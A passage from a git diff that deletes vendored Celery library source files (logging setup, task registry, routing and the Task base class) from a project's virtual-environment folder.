or self.task_format - colorize = self.supports_color(colorize, logfile) - - logger = self.setup_handlers( - get_logger('celery.task'), - logfile, format, colorize, - formatter=TaskFormatter, **kwargs - ) - logger.setLevel(loglevel) - # this is an int for some reason, better to not question why. - logger.propagate = int(propagate) - signals.after_setup_task_logger.send( - sender=None, logger=logger, - loglevel=loglevel, logfile=logfile, - format=format, colorize=colorize, - ) - return logger - - def redirect_stdouts_to_logger(self, logger, loglevel=None, - stdout=True, stderr=True): - """Redirect :class:`sys.stdout` and :class:`sys.stderr` to logger. - - Arguments: - logger (logging.Logger): Logger instance to redirect to. - loglevel (int, str): The loglevel redirected message - will be logged as. - """ - proxy = LoggingProxy(logger, loglevel) - if stdout: - sys.stdout = proxy - if stderr: - sys.stderr = proxy - return proxy - - def supports_color(self, colorize=None, logfile=None): - colorize = self.colorize if colorize is None else colorize - if self.app.IS_WINDOWS: - # Windows does not support ANSI color codes. - return False - if colorize or colorize is None: - # Only use color if there's no active log file - # and stderr is an actual terminal. - return logfile is None and isatty(sys.stderr) - return colorize - - def colored(self, logfile=None, enabled=None): - return colored(enabled=self.supports_color(enabled, logfile)) - - def setup_handlers(self, logger, logfile, format, colorize, - formatter=ColorFormatter, **kwargs): - if self._is_configured(logger): - return logger - handler = self._detect_handler(logfile) - handler.setFormatter(formatter(format, use_color=colorize)) - logger.addHandler(handler) - return logger - - def _detect_handler(self, logfile=None): - """Create handler from filename, an open stream or `None` (stderr).""" - logfile = sys.__stderr__ if logfile is None else logfile - if hasattr(logfile, 'write'): - return logging.StreamHandler(logfile) - return WatchedFileHandler(logfile, encoding='utf-8') - - def _has_handler(self, logger): - return any( - not isinstance(h, logging.NullHandler) - for h in logger.handlers or [] - ) - - def _is_configured(self, logger): - return self._has_handler(logger) and not getattr( - logger, '_rudimentary_setup', False) - - def get_default_logger(self, name='celery', **kwargs): - return get_logger(name) - - @class_property - def already_setup(self): - return self._setup - - @already_setup.setter - def already_setup(self, was_setup): - self._setup = was_setup diff --git a/venv/Lib/site-packages/celery/app/registry.py b/venv/Lib/site-packages/celery/app/registry.py deleted file mode 100644 index 707567d157154d74175960836290b6940ab046b6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/registry.py +++ /dev/null @@ -1,68 +0,0 @@ -"""Registry of available tasks.""" -import inspect -from importlib import import_module - -from celery._state import get_current_app -from celery.app.autoretry import add_autoretry_behaviour -from celery.exceptions import InvalidTaskError, NotRegistered - -__all__ = ('TaskRegistry',) - - -class TaskRegistry(dict): - """Map of registered tasks.""" - - NotRegistered = NotRegistered - - def __missing__(self, key): - raise self.NotRegistered(key) - - def register(self, task): - """Register a task in the task registry. - - The task will be automatically instantiated if not already an - instance. Name must be configured prior to registration. - """ - if task.name is None: - raise InvalidTaskError( - 'Task class {!r} must specify .name attribute'.format( - type(task).__name__)) - task = inspect.isclass(task) and task() or task - add_autoretry_behaviour(task) - self[task.name] = task - - def unregister(self, name): - """Unregister task by name. - - Arguments: - name (str): name of the task to unregister, or a - :class:`celery.app.task.Task` with a valid `name` attribute. - - Raises: - celery.exceptions.NotRegistered: if the task is not registered. - """ - try: - self.pop(getattr(name, 'name', name)) - except KeyError: - raise self.NotRegistered(name) - - # -- these methods are irrelevant now and will be removed in 4.0 - def regular(self): - return self.filter_types('regular') - - def periodic(self): - return self.filter_types('periodic') - - def filter_types(self, type): - return {name: task for name, task in self.items() - if getattr(task, 'type', 'regular') == type} - - -def _unpickle_task(name): - return get_current_app().tasks[name] - - -def _unpickle_task_v2(name, module=None): - if module: - import_module(module) - return get_current_app().tasks[name] diff --git a/venv/Lib/site-packages/celery/app/routes.py b/venv/Lib/site-packages/celery/app/routes.py deleted file mode 100644 index bed2c07a51fb01ad909cac37c13f9ed31b1cb224..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/routes.py +++ /dev/null @@ -1,136 +0,0 @@ -"""Task Routing. - -Contains utilities for working with task routers, (:setting:`task_routes`). -""" -import fnmatch -import re -from collections import OrderedDict -from collections.abc import Mapping - -from kombu import Queue - -from celery.exceptions import QueueNotFound -from celery.utils.collections import lpmerge -from celery.utils.functional import maybe_evaluate, mlazy -from celery.utils.imports import symbol_by_name - -try: - Pattern = re._pattern_type -except AttributeError: # pragma: no cover - # for support Python 3.7 - Pattern = re.Pattern - -__all__ = ('MapRoute', 'Router', 'expand_router_string', 'prepare') - - -class MapRoute: - """Creates a router out of a :class:`dict`.""" - - def __init__(self, map): - map = map.items() if isinstance(map, Mapping) else map - self.map = {} - self.patterns = OrderedDict() - for k, v in map: - if isinstance(k, Pattern): - self.patterns[k] = v - elif '*' in k: - self.patterns[re.compile(fnmatch.translate(k))] = v - else: - self.map[k] = v - - def __call__(self, name, *args, **kwargs): - try: - return dict(self.map[name]) - except KeyError: - pass - except ValueError: - return {'queue': self.map[name]} - for regex, route in self.patterns.items(): - if regex.match(name): - try: - return dict(route) - except ValueError: - return {'queue': route} - - -class Router: - """Route tasks based on the :setting:`task_routes` setting.""" - - def __init__(self, routes=None, queues=None, - create_missing=False, app=None): - self.app = app - self.queues = {} if queues is None else queues - self.routes = [] if routes is None else routes - self.create_missing = create_missing - - def route(self, options, name, args=(), kwargs=None, task_type=None): - kwargs = {} if not kwargs else kwargs - options = self.expand_destination(options) # expands 'queue' - if self.routes: - route = self.lookup_route(name, args, kwargs, options, task_type) - if route: # expands 'queue' in route. - return lpmerge(self.expand_destination(route), options) - if 'queue' not in options: - options = lpmerge(self.expand_destination( - self.app.conf.task_default_queue), options) - return options - - def expand_destination(self, route): - # Route can be a queue name: convenient for direct exchanges. - if isinstance(route, str): - queue, route = route, {} - else: - # can use defaults from configured queue, but override specific - # things (like the routing_key): great for topic exchanges. - queue = route.pop('queue', None) - - if queue: - if isinstance(queue, Queue): - route['queue'] = queue - else: - try: - route['queue'] = self.queues[queue] - except KeyError: - raise QueueNotFound( - f'Queue {queue!r} missing from task_queues') - return route - - def lookup_route(self, name, - args=None, kwargs=None, options=None, task_type=None): - query = self.query_router - for router in self.routes: - route = query(router, name, args, kwargs, options, task_type) - if route is not None: - return route - - def query_router(self, router, task, args, kwargs, options, task_type): - router = maybe_evaluate(router) - if hasattr(router, 'route_for_task'): - # pre 4.0 router class - return router.route_for_task(task, args, kwargs) - return router(task, args, kwargs, options, task=task_type) - - -def expand_router_string(router): - router = symbol_by_name(router) - if hasattr(router, 'route_for_task'): - # need to instantiate pre 4.0 router classes - router = router() - return router - - -def prepare(routes): - """Expand the :setting:`task_routes` setting.""" - - def expand_route(route): - if isinstance(route, (Mapping, list, tuple)): - return MapRoute(route) - if isinstance(route, str): - return mlazy(expand_router_string, route) - return route - - if routes is None: - return () - if not isinstance(routes, (list, tuple)): - routes = (routes,) - return [expand_route(route) for route in routes] diff --git a/venv/Lib/site-packages/celery/app/task.py b/venv/Lib/site-packages/celery/app/task.py deleted file mode 100644 index 79cf9cb7f4a20b4c1dc465cbcfc8075750505bcc..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/app/task.py +++ /dev/null @@ -1,1197 +0,0 @@ -"""Task implementation: request context and the task base class.""" -import sys - -from billiard.einfo import ExceptionInfo, ExceptionWithTraceback -from kombu import serialization -from kombu.exceptions import OperationalError -from kombu.utils.uuid import uuid - -from celery import current_app, states -from celery._state import _task_stack -from celery.canvas import _chain, group, signature -from celery.exceptions import Ignore, ImproperlyConfigured, MaxRetriesExceededError, Reject, Retry -from celery.local import class_property -from celery.result import EagerResult, denied_join_result -from celery.utils import abstract -from celery.utils.functional import mattrgetter, maybe_list -from celery.utils.imports import instantiate -from celery.utils.nodenames import gethostname -from celery.utils.serialization import raise_with_context - -from .annotations import resolve_all as resolve_all_annotations -from .registry import _unpickle_task_v2 -from .utils import appstr - -__all__ = ('Context', 'Task') - -#: extracts attributes related to publishing a message from an object. -extract_exec_options = mattrgetter( - 'queue', 'routing_key', 'exchange', 'priority', 'expires', - 'serializer', 'delivery_mode', 'compression', 'time_limit', - 'soft_time_limit', 'immediate', 'mandatory', # imm+man is deprecated -) - -# We take __repr__ very seriously around here ;) -R_BOUND_TASK = '' -R_UNBOUND_TASK = '' -R_INSTANCE = '<@task: {0.name} of {app}{flags}>' - -# Filtered headers relating to dead-lettering in RabbitMQ. -X_DEATH_HEADERS = { - 'x-death', - 'x-first-death-exchange', - 'x-first-death-queue', - 'x-first-death-reason', - 'x-last-death-exchange', - 'x-last-death-queue', - 'x-last-death-reason', -} - -#: Here for backwards compatibility as tasks no longer use a custom meta-class. -TaskType = type - - -def _strflags(flags, default=''): - if flags: - return ' ({})'.format(', '.join(flags)) - return default - - -def _reprtask(task, fmt=None, flags=None): - flags = list(flags) if flags is not None else [] - flags.append('v2 compatible') if task.__v2_compat__ else None - if not fmt: - fmt = R_BOUND_TASK if task._app else R_UNBOUND_TASK - return fmt.format( - task, flags=_strflags(flags), - app=appstr(task._app) if task._app else None, - ) - - -class Context: - """Task request variables (Task.request).""" - - _children = None # see property - _protected = 0 - args = None - callbacks = None - called_directly = True - chain = None - chord = None - correlation_id = None - delivery_info = None - errbacks = None - eta = None - expires = None - group = None - group_index = None - headers = None - hostname = None - id = None - ignore_result = False - is_eager = False - kwargs = None - logfile = None - loglevel = None - origin = None - parent_id = None - properties = None - retries = 0 - reply_to = None - replaced_task_nesting = 0 - root_id = None - shadow = None - taskset = None # compat alias to group - timelimit = None - utc = None - stamped_headers = None - stamps = None - - def __init__(self, *args, **kwargs): - self.update(*args, **kwargs) - if self.headers is None: - self.headers = self._get_custom_headers(*args, **kwargs) - - def _get_custom_headers(self, *args, **kwargs): - headers = {} - headers.update(*args, **kwargs) - celery_keys = {*Context.__dict__.keys(), 'lang', 'task', 'argsrepr', 'kwargsrepr', 'compression'} - for key in celery_keys: - headers.pop(key, None) - if not headers: - return None - return headers - - def update(self, *args, **kwargs): - return self.__dict__.update(*args, **kwargs) - - def clear(self): - return self.__dict__.clear() - - def get(self, key, default=None): - return getattr(self, key, default) - - def __repr__(self): - return f'' - - def _filter_x_death_headers(self, headers): - """Filter out X-Death headers to prevent RabbitMQ cycle detection.""" - headers = headers.copy() if headers else {} - for x_death_header in X_DEATH_HEADERS: - headers.pop(x_death_header, None) - - return headers - - def as_execution_options(self): - limit_hard, limit_soft = self.timelimit or (None, None) - execution_options = { - 'task_id': self.id, - 'root_id': self.root_id, - 'parent_id': self.parent_id, - 'group_id': self.group, - 'group_index': self.group_index, - 'shadow': self.shadow, - 'chord': self.chord, - 'chain': self.chain, - 'link': self.callbacks, - 'link_error': self.errbacks, - 'expires': self.expires, - 'soft_time_limit': limit_soft, - 'time_limit': limit_hard, - 'headers': self._filter_x_death_headers(self.headers), - 'retries': self.retries, - 'reply_to': self.reply_to, - 'replaced_task_nesting': self.replaced_task_nesting, - 'origin': self.origin, - } - if hasattr(self, 'stamps') and hasattr(self, 'stamped_headers'): - if self.stamps is not None and self.stamped_headers is not None: - execution_options['stamped_headers'] = self.stamped_headers - for k, v in self.stamps.items(): - execution_options[k] = v - return execution_options - - @property - def children(self): - # children must be an empty list for every thread - if self._children is None: - self._children = [] - return self._children - - -@abstract.CallableTask.register -class Task: - """Task base class. - - Note: - When called tasks apply the :meth:`run` method. This method must - be defined by all tasks (that is unless the :meth:`__call__` method - is overridden). - """ - - __trace__ = None - __v2_compat__ = False # set by old base in celery.task.base - - MaxRetriesExceededError = MaxRetriesExceededError - OperationalError = OperationalError - - #: Execution strategy used, or the qualified name of one. - Strategy = 'celery.worker.strategy:default' - - #: Request class used, or the qualified name of one. - Request = 'celery.worker.request:Request' - - #: The application instance associated with this task class. - _app = None - - #: Name of the task. - name = None - - #: Enable argument checking. - #: You can set this to false if you don't want the signature to be - #: checked when calling the task. - #: Defaults to :attr:`app.strict_typing <@Celery.strict_typing>`. - typing = None - - #: Maximum number of retries before giving up. If set to :const:`None`, - #: it will **never** stop retrying. - max_retries = 3 - - #: Default time in seconds before a retry of the task should be - #: executed. 3 minutes by default. - default_retry_delay = 3 * 60 - - #: Rate limit for this task type. Examples: :const:`None` (no rate - #: limit), `'100/s'` (hundred tasks a second), `'100/m'` (hundred tasks - #: a minute),`'100/h'` (hundred tasks an hour) - rate_limit = None - - #: If enabled the worker won't store task state and return values - #: for this task. Defaults to the :setting:`task_ignore_result` - #: setting. - ignore_result = None - - #: If enabled the request will keep track of subtasks started by - #: this task, and this information will be sent with the result - #: (``result.children``). - trail = True - - #: If enabled the worker will send monitoring events related to - #: this task (but only if the worker is configured to send - #: task related events). - #: Note that this has no effect on the task-failure event case - #: where a task is not registered (as it will have no task class - #: to check this flag). - send_events = True - - #: When enabled errors will be stored even if the task is otherwise - #: configured to ignore results. - store_errors_even_if_ignored = None - - #: The name of a serializer that are registered with - #: :mod:`kombu.serialization.registry`. Default is `'json'`. - serializer = None - - #: Hard time limit. - #: Defaults to the :setting:`task_time_limit` setting. - time_limit = None - - #: Soft time limit. - #: Defaults to the :setting:`task_soft_time_limit` setting. - soft_time_limit = None - - #: The result store backend used for this task. - backend = None - - #: If enabled the task will report its status as 'started' when the task - #: is executed by a worker. Disabled by default as the normal behavior - #: is to not report that level of granularity. Tasks are either pending, - #: finished, or waiting to be retried. - #: - #: Having a 'started' status can be useful for when there are long - #: running tasks and there's a need to report what task is currently - #: running. - #: - #: The application default can be overridden using the - #: :setting:`task_track_started` setting. - track_started = None - - #: When enabled messages for this task will be acknowledged **after** - #: the task has been executed, and not *right before* (the - #: default behavior). - #: - #: Please note that this means the task may be executed twice if the - #: worker crashes mid execution. - #: - #: The application default can be overridden with the - #: :setting:`task_acks_late` setting. - acks_late = None - - #: When enabled messages for this task will be acknowledged even if it - #: fails or times out. - #: - #: Configuring this setting only applies to tasks that are - #: acknowledged **after** they have been executed and only if - #: :setting:`task_acks_late` is enabled. - #: - #: The application default can be overridden with the - #: :setting:`task_acks_on_failure_or_timeout` setting. - acks_on_failure_or_timeout = None - - #: Even if :attr:`acks_late` is enabled, the worker will - #: acknowledge tasks when the worker process executing them abruptly - #: exits or is signaled (e.g., :sig:`KILL`/:sig:`INT`, etc). - #: - #: Setting this to true allows the message to be re-queued instead, - #: so that the task will execute again by the same worker, or another - #: worker. - #: - #: Warning: Enabling this can cause message loops; make sure you know - #: what you're doing. - reject_on_worker_lost = None - - #: Tuple of expected exceptions. - #: - #: These are errors that are expected in normal operation - #: and that shouldn't be regarded as a real error by the worker. - #: Currently this means that the state will be updated to an error - #: state, but the worker won't log the event as an error. - throws = () - - #: Default task expiry time. - expires = None - - #: Default task priority. - priority = None - - #: Max length of result representation used in logs and events. - resultrepr_maxsize = 1024 - - #: Task request stack, the current request will be the topmost. - request_stack = None - - #: Some may expect a request to exist even if the task hasn't been - #: called. This should probably be deprecated. - _default_request = None - - #: Deprecated attribute ``abstract`` here for compatibility. - abstract = True - - _exec_options = None - - __bound__ = False - - from_config = ( - ('serializer', 'task_serializer'), - ('rate_limit', 'task_default_rate_limit'), - ('priority', 'task_default_priority'), - ('track_started', 'task_track_started'), - ('acks_late', 'task_acks_late'), - ('acks_on_failure_or_timeout', 'task_acks_on_failure_or_timeout'), - ('reject_on_worker_lost', 'task_reject_on_worker_lost'), - ('ignore_result', 'task_ignore_result'), - ('store_eager_result', 'task_store_eager_result'), - ('store_errors_even_if_ignored', 'task_store_errors_even_if_ignored'), - ) - - _backend = None # set by backend property. - - # - Tasks are lazily bound, so that configuration is not set - # - until the task is actually used - - @classmethod - def bind(cls, app): - was_bound, cls.__bound__ = cls.__bound__, True - cls._app = app - conf = app.conf - cls._exec_options = None # clear option cache - - if cls.typing is None: - cls.typing = app.strict_typing - - for attr_name, config_name in cls.from_config: - if getattr(cls, attr_name, None) is None: - setattr(cls, attr_name, conf[config_name]) - - # decorate with annotations from config. - if not was_bound: - cls.annotate() - - from celery.utils.threads import LocalStack - cls.request_stack = LocalStack() - - # PeriodicTask uses this to add itself to the PeriodicTask schedule. - cls.on_bound(app) - - return app - - @classmethod - def on_bound(cls, app): - """Called when the task is bound to an app. - - Note: - This class method can be defined to do additional actions when - the task class is bound to an app. - """ - - @classmethod - def _get_app(cls): - if cls._app is None: - cls._app = current_app - if not cls.__bound__: - # The app property's __set__ method is not called - # if Task.app is set (on the class), so must bind on use. - cls.bind(cls._app) - return cls._app - app = class_property(_get_app, bind) - - @classmethod - def annotate(cls): - for d in resolve_all_annotations(cls.app.annotations, cls): - for key, value in d.items(): - if key.startswith('@'): - cls.add_around(key[1:], value) - else: - setattr(cls, key, value) - - @classmethod - def add_around(cls, attr, around): - orig = getattr(cls, attr) - if getattr(orig, '__wrapped__', None): - orig = orig.__wrapped__ - meth = around(orig) - meth.__wrapped__ = orig - setattr(cls, attr, meth) - - def __call__(self, *args, **kwargs): - _task_stack.push(self) - self.push_request(args=args, kwargs=kwargs) - try: - return self.run(*args, **kwargs) - finally: - self.pop_request() - _task_stack.pop() - - def __reduce__(self): - # - tasks are pickled into the name of the task only, and the receiver - # - simply grabs it from the local registry. - # - in later versions the module of the task is also included, - # - and the receiving side tries to import that module so that - # - it will work even if the task hasn't been registered. - mod = type(self).__module__ - mod = mod if mod and mod in sys.modules else None - return (_unpickle_task_v2, (self.name, mod), None) - - def run(self, *args, **kwargs): - """The body of the task executed by workers.""" - raise NotImplementedError('Tasks must define the run method.') - - def start_strategy(self, app, consumer, **kwargs): - return instantiate(self.Strategy, self, app, consumer, **kwargs) - - def delay(self, *args, **kwargs): - """Star argument version of :meth:`apply_async`. - - Does not support the extra options enabled by :meth:`apply_async`. - - Arguments: - *args (Any): Positional arguments passed on to the task. - **kwargs (Any): Keyword arguments passed on to the task. - Returns: - celery.result.AsyncResult: Future promise. - """ - return self.apply_async(args, kwargs) - - def apply_async(self, args=None, kwargs=None, task_id=None, producer=None, - link=None, link_error=None, shadow=None, **options): - """Apply tasks asynchronously by sending a message. - - Arguments: - args (Tuple): The positional arguments to pass on to the task. - - kwargs (Dict): The keyword arguments to pass on to the task. - - countdown (float): Number of seconds into the future that the - task should execute. Defaults to immediate execution. - - eta (~datetime.datetime): Absolute time and date of when the task - should be executed. May not be specified if `countdown` - is also supplied. - - expires (float, ~datetime.datetime): Datetime or - seconds in the future for the task should expire. - The task won't be executed after the expiration time. - - shadow (str): Override task name used in logs/monitoring. - Default is retrieved from :meth:`shadow_name`. - - connection (kombu.Connection): Reuse existing broker connection - instead of acquiring one from the connection pool. - - retry (bool): If enabled sending of the task message will be - retried in the event of connection loss or failure. - Default is taken from the :setting:`task_publish_retry` - setting. Note that you need to handle the - producer/connection manually for this to work. - - retry_policy (Mapping): Override the retry policy used. - See the :setting:`task_publish_retry_policy` setting. - - time_limit (int): If set, overrides the default time limit. - - soft_time_limit (int): If set, overrides the default soft - time limit. - - queue (str, kombu.Queue): The queue to route the task to. - This must be a key present in :setting:`task_queues`, or - :setting:`task_create_missing_queues` must be - enabled. See :ref:`guide-routing` for more - information. - - exchange (str, kombu.Exchange): Named custom exchange to send the - task to. Usually not used in combination with the ``queue`` - argument. - - routing_key (str): Custom routing key used to route the task to a - worker server. If in combination with a ``queue`` argument - only used to specify custom routing keys to topic exchanges. - - priority (int): The task priority, a number between 0 and 9. - Defaults to the :attr:`priority` attribute. - - serializer (str): Serialization method to use. - Can be `pickle`, `json`, `yaml`, `msgpack` or any custom - serialization method that's been registered - with :mod:`kombu.serialization.registry`. - Defaults to the :attr:`serializer` attribute. - - compression (str): Optional compression method - to use. Can be one of ``zlib``, ``bzip2``, - or any custom compression methods registered with - :func:`kombu.compression.register`. - Defaults to the :setting:`task_compression` setting. - - link (Signature): A single, or a list of tasks signatures - to apply if the task returns successfully. - - link_error (Signature): A single, or a list of task signatures - to apply if an error occurs while executing the task. - - producer (kombu.Producer): custom producer to use when publishing - the task. - - add_to_parent (bool): If set to True (default) and the task - is applied while executing another task, then the result - will be appended to the parent tasks ``request.children`` - attribute. Trailing can also be disabled by default using the - :attr:`trail` attribute - - ignore_result (bool): If set to `False` (default) the result - of a task will be stored in the backend. If set to `True` - the result will not be stored. This can also be set - using the :attr:`ignore_result` in the `app.task` decorator. - - publisher (kombu.Producer): Deprecated alias to ``producer``. - - headers (Dict): Message headers to be included in the message. - The headers can be used as an overlay for custom labeling - using the :ref:`canvas-stamping` feature. - - task_id (str): Optional argument to override the default task id. - By default, Celery generates a unique id (UUID4) for every task - submission. You can instead provide your own string identifier. - If supplied, this value will be used as the task’s id instead - of generating one automatically. Be careful to avoid collisions - when overriding task ids. - - Returns: - celery.result.AsyncResult: Promise of future evaluation. - - Raises: - TypeError: If not enough arguments are passed, or too many - arguments are passed. Note that signature checks may - be disabled by specifying ``@task(typing=False)``. - ValueError: If soft_time_limit and time_limit both are set - but soft_time_limit is greater than time_limit - kombu.exceptions.OperationalError: If a connection to the - transport cannot be made, or if the connection is lost. - - Note: - Also supports all keyword arguments supported by - :meth:`kombu.Producer.publish`. - """ - if self.soft_time_limit and self.time_limit and self.soft_time_limit > self.time_limit: - raise ValueError('soft_time_limit must be less than or equal to time_limit') - - if self.typing: - try: - check_arguments = self.__header__ - except AttributeError: # pragma: no cover - pass - else: - check_arguments(*(args or ()), **(kwargs or {})) - - if self.__v2_compat__: - shadow = shadow or self.shadow_name(self(), args, kwargs, options) - else: - shadow = shadow or self.shadow_name(args, kwargs, options) - - preopts = self._get_exec_options() - options = dict(preopts, **options) if options else preopts - - options.setdefault('ignore_result', self.ignore_result) - if self.priority: - options.setdefault('priority', self.priority) - - app = self._get_app() - if app.conf.task_always_eager: - with app.producer_or_acquire(producer) as eager_producer: - serializer = options.get('serializer') - if serializer is None: - if eager_producer.serializer: - serializer = eager_producer.serializer - else: - serializer = app.conf.task_serializer - body = args, kwargs - content_type, content_encoding, data = serialization.dumps( - body, serializer, - ) - args, kwargs = serialization.loads( - data, content_type, content_encoding, - accept=[content_type] - ) - with denied_join_result(): - return self.apply(args, kwargs, task_id=task_id or uuid(), - link=link, link_error=link_error, **options) - else: - return app.send_task( - self.name, args, kwargs, task_id=task_id, producer=producer, - link=link, link_error=link_error, result_cls=self.AsyncResult, - shadow=shadow, task_type=self, - **options - ) - - def shadow_name(self, args, kwargs, options): - """Override for custom task name in worker logs/monitoring. - - Example: - .. code-block:: python - - from celery.utils.imports import qualname - - def shadow_name(task, args, kwargs, options): - return qualname(args[0]) - - @app.task(shadow_name=shadow_name, serializer='pickle') - def apply_function_async(fun, *args, **kwargs): - return fun(*args, **kwargs) - - Arguments: - args (Tuple): Task positional arguments. - kwargs (Dict): Task keyword arguments. - options (Dict): Task execution options. - """ - - def signature_from_request(self, request=None, args=None, kwargs=None, - queue=None, **extra_options): - request = self.request if request is None else request - args = request.args if args is None else args - kwargs = request.kwargs if kwargs is None else kwargs - options = {**request.as_execution_options(), **extra_options} - delivery_info = request.delivery_info or {} - priority = delivery_info.get('priority') - if priority is not None: - options['priority'] = priority - if queue: - options['queue'] = queue - else: - exchange = delivery_info.get('exchange') - routing_key = delivery_info.get('routing_key') - if exchange == '' and routing_key: - # sent to anon-exchange - options['queue'] = routing_key - else: - options.update(delivery_info) - return self.signature( - args, kwargs, options, type=self, **extra_options - ) - subtask_from_request = signature_from_request # XXX compat - - def retry(self, args=None, kwargs=None, exc=None, throw=True, - eta=None, countdown=None, max_retries=None, **options): - """Retry the task, adding it to the back of the queue. - - Example: - >>> from imaginary_twitter_lib import Twitter - >>> from proj.celery import app - - >>> @app.task(bind=True) - ... def tweet(self, auth, message): - ... twitter = Twitter(oauth=auth) - ... try: - ... twitter.post_status_update(message) - ... except twitter.FailWhale as exc: - ... # Retry in 5 minutes. - ... raise self.retry(countdown=60 * 5, exc=exc) - - Note: - Although the task will never return above as `retry` raises an - exception to notify the worker, we use `raise` in front of the - retry to convey that the rest of the block won't be executed. - - Arguments: - args (Tuple): Positional arguments to retry with. - kwargs (Dict): Keyword arguments to retry with. - exc (Exception): Custom exception to report when the max retry - limit has been exceeded (default: - :exc:`~@MaxRetriesExceededError`). - - If this argument is set and retry is called while - an exception was raised (``sys.exc_info()`` is set) - it will attempt to re-raise the current exception. - - If no exception was raised it will raise the ``exc`` - argument provided. - countdown (float): Time in seconds to delay the retry for. - eta (~datetime.datetime): Explicit time and date to run the - retry at. - max_retries (int): If set, overrides the default retry limit for - this execution. Changes to this parameter don't propagate to - subsequent task retry attempts. A value of :const:`None`, - means "use the default", so if you want infinite retries you'd - have to set the :attr:`max_retries` attribute of the task to - :const:`None` first. - time_limit (int): If set, overrides the default time limit. - soft_time_limit (int): If set, overrides the default soft - time limit. - throw (bool): If this is :const:`False`, don't raise the - :exc:`~@Retry` exception, that tells the worker to mark - the task as being retried. Note that this means the task - will be marked as failed if the task raises an exception, - or successful if it returns after the retry call. - **options (Any): Extra options to pass on to :meth:`apply_async`. - - Raises: - - celery.exceptions.Retry: - To tell the worker that the task has been re-sent for retry. - This always happens, unless the `throw` keyword argument - has been explicitly set to :const:`False`, and is considered - normal operation. - """ - request = self.request - retries = request.retries + 1 - if max_retries is not None: - self.override_max_retries = max_retries - max_retries = self.max_retries if max_retries is None else max_retries - - # Not in worker or emulated by (apply/always_eager), - # so just raise the original exception. - if request.called_directly: - # raises orig stack if PyErr_Occurred, - # and augments with exc' if that argument is defined. - raise_with_context(exc or Retry('Task can be retried', None)) - - if not eta and countdown is None: - countdown = self.default_retry_delay - - is_eager = request.is_eager - S = self.signature_from_request( - request, args, kwargs, - countdown=countdown, eta=eta, retries=retries, - **options - ) - - if max_retries is not None and retries > max_retries: - if exc: - # On Py3: will augment any current exception with - # the exc' argument provided (raise exc from orig) - raise_with_context(exc) - raise self.MaxRetriesExceededError( - "Can't retry {}[{}] args:{} kwargs:{}".format( - self.name, request.id, S.args, S.kwargs - ), task_args=S.args, task_kwargs=S.kwargs - ) - - ret = Retry(exc=exc, when=eta or countdown, is_eager=is_eager, sig=S) - - if is_eager: - # if task was executed eagerly using apply(), - # then the retry must also be executed eagerly in apply method - if throw: - raise ret - return ret - - try: - S.apply_async() - except Exception as exc: - raise Reject(exc, requeue=False) - if throw: - raise ret - return ret - - def apply(self, args=None, kwargs=None, - link=None, link_error=None, - task_id=None, retries=None, throw=None, - logfile=None, loglevel=None, headers=None, **options): - """Execute this task locally, by blocking until the task returns. - - Arguments: - args (Tuple): positional arguments passed on to the task. - kwargs (Dict): keyword arguments passed on to the task. - throw (bool): Re-raise task exceptions. - Defaults to the :setting:`task_eager_propagates` setting. - - Returns: - celery.result.EagerResult: pre-evaluated result. - """ - # trace imports Task, so need to import inline. - from celery.app.trace import build_tracer - - app = self._get_app() - args = args or () - kwargs = kwargs or {} - task_id = task_id or uuid() - retries = retries or 0 - if throw is None: - throw = app.conf.task_eager_propagates - - parent_task = _task_stack.top - if parent_task and parent_task.request: - parent_id = parent_task.request.id - root_id = parent_task.request.root_id or task_id - else: - parent_id = None - root_id = task_id - - # Make sure we get the task instance, not class. - task = app._tasks[self.name] - - request = { - 'id': task_id, - 'task': self.name, - 'parent_id': parent_id, - 'root_id': root_id, - 'retries': retries, - 'is_eager': True, - 'logfile': logfile, - 'loglevel': loglevel or 0, - 'hostname': gethostname(), - 'callbacks': maybe_list(link), - 'errbacks': maybe_list(link_error), - 'headers': headers, - 'ignore_result': options.get('ignore_result', False), - 'delivery_info': { - 'is_eager': True, - 'exchange': options.get('exchange'), - 'routing_key': options.get('routing_key'), - 'priority': options.get('priority'), - } - } - if 'stamped_headers' in options: - request['stamped_headers'] = maybe_list(options['stamped_headers']) - request['stamps'] = { - header: maybe_list(options.get(header, [])) for header in request['stamped_headers'] - } - - tb = None - tracer = build_tracer( - task.name, task, eager=True, - propagate=throw, app=self._get_app(), - ) - ret = tracer(task_id, args, kwargs, request) - retval = ret.retval - if isinstance(retval, ExceptionInfo): - retval, tb = retval.exception, retval.traceback - if isinstance(retval, ExceptionWithTraceback): - retval = retval.exc - if isinstance(retval, Retry) and retval.sig is not None: - return retval.sig.apply(retries=retries + 1) - state = states.SUCCESS if ret.info is None else ret.info.state - return EagerResult(task_id, retval, state, traceback=tb, name=self.name) - - def AsyncResult(self, task_id, **kwargs): - """Get AsyncResult instance for the specified task. - - Arguments: - task_id (str): Task id to get result for. - """ - return self._get_app().AsyncResult(task_id, backend=self.backend, - task_name=self.name, **kwargs) - - def signature(self, args=None, *starargs, **starkwargs): - """Create signature. - - Returns: - :class:`~celery.signature`: object for - this task, wrapping arguments and execution options - for a single task invocation. - """ - starkwargs.setdefault('app', self.app) - return signature(self, args, *starargs, **starkwargs) - subtask = signature - - def s(self, *args, **kwargs): - """Create signature. - - Shortcut for ``.s(*a, **k) -> .signature(a, k)``. - """ - return self.signature(args, kwargs) - - def si(self, *args, **kwargs): - """Create immutable signature. - - Shortcut for ``.si(*a, **k) -> .signature(a, k, immutable=True)``. - """ - return self.signature(args, kwargs, immutable=True) - - def chunks(self, it, n): - """Create a :class:`~celery.canvas.chunks` task for this task.""" - from celery import chunks - return chunks(self.s(), it, n, app=self.app) - - def map(self, it): - """Create a :class:`~celery.canvas.xmap` task from ``it``.""" - from celery import xmap - return xmap(self.s(), it, app=self.app) - - def starmap(self, it): - """Create a :class:`~celery.canvas.xstarmap` task from ``it``.""" - from celery import xstarmap - return xstarmap(self.s(), it, app=self.app) - - def send_event(self, type_, retry=True, retry_policy=None, **fields): - """Send monitoring event message. - - This can be used to add custom event types in :pypi:`Flower` - and other monitors. - - Arguments: - type_ (str): Type of event, e.g. ``"task-failed"``. - - Keyword Arguments: - retry (bool): Retry sending the message - if the connection is lost. Default is taken from the - :setting:`task_publish_retry` setting. - retry_policy (Mapping): Retry settings. Default is taken - from the :setting:`task_publish_retry_policy` setting. - **fields (Any): Map containing information about the event. - Must be JSON serializable. - """ - req = self.request - if retry_policy is None: - retry_policy = self.app.conf.task_publish_retry_policy - with 